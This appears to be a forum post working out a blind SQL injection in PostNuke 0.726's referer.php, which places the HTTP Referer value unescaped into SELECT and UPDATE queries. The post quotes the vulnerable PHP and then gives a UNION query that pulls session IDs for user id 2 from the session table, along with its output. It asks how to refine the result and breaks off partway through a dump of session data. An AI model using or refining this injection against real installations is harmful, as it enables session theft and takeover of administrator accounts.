If you don't have PostNuke-0.726.tar.gz, just google it! 
Excerpt from referer.php :
| Code: |
/***
* Lets select from the table where we have $HTTP_REFERER (whether it be
* a valid referer or 'bookmark'. if we return 1 row, that means someones
* used this referer before and update the set appropriatly.
*
* If we dont have any rows (it returns 0), we have a new entry in the
* table, update accordingly.
*
* After we figure out what SQL statement we are using, lets perform the
* query and we're done !
*/
$check_sql = "SELECT count($column[rid]) as c
FROM $pntable[referer]
WHERE $column[url] = '" . $HTTP_REFERER . "'";
$result = $dbconn->Execute($check_sql);
if ($result === false) {
PN_DBMsgError($dbconn, __FILE__, __LINE__, "Error accesing to the database");
}
$row = $result->fields;
$count = $row[0];
if ($count == 1 ) {
$update_sql = "UPDATE $pntable[referer]
SET $column[frequency] = $column[frequency] + 1
WHERE $column[url] = '" . $HTTP_REFERER . "'";
} else {
/***
* "auto-increment" isn't portable so we have to use the standard
* interface for grabbing sequence numbers. The underlying
* implementation handles the correct method for the RDBMS we are
* using.
*/
$rid = $dbconn->GenId($pntable['referer'], true);
$update_sql = "INSERT INTO $pntable[referer]
($column[rid],
$column[url],
$column[frequency])
VALUES
(" . pnVarPrepForStore($rid). ",
'" . pnVarPrepForStore($HTTP_REFERER) . "',
1)";
}
$result = $dbconn->Execute($update_sql);
if ($result === false) {
error_log ("error in referer.php, " . __LINE__ . ", sql='$update_sql'");
PN_DBMsgError($dbconn, __FILE__, __LINE__, "Error accesing to the database");
}
if ( $DEBUG == 1) {
echo "<br>".$check_sql."<br>".$update_sql."<br>";
}
}
}

This is a great job for (not Superman) Blind SQL Injection. It's possible with craftly modified referers
SQL:
| Code: |
UPDATE $pntable[referer]
SET $column[frequency] = $column[frequency] + 1
WHERE $column[url] = '" . $HTTP_REFERER . "'
|
Try#1:
| Code: |
mysql> select count(pn_rid) from nuke_referer where pn_url = 'bookmarkz' union all select pn_sessid from nuke_session_info where pn_uid = 2 and '1' = '1';
|
Result:
| Code: |
+----------------------------------+
| count(pn_rid) |
+----------------------------------+
| 0 |
| bb816071d1a45a3909d068006fa6da3c |
| 71aa76010a67eaaa55ed022be7a4761e |
+----------------------------------+
|
How can I limit the result?
Another infos:
| Code: |
mysql> select * from nuke_referer;
+--------+----------+--------------+
| pn_rid | pn_url | pn_frequency |
+--------+----------+--------------+
| 1 | bookmark | 21 |
+--------+----------+--------------+
|
Sessions:
| Code: |
mysql>select pn_sessid,pn_ipaddr from nuke_session_info;
+----------------------------------+-----------+--------+
| pn_sessid | pn_ipaddr | pn_uid |
+----------------------------------+-----------+--------+

and
mysql> select pn_firstused,pn_lastused,pn_vars from nuke_session_info;
+--------------+-------------+--------------------------------------------------
+
| pn_firstused | pn_lastused | pn_vars
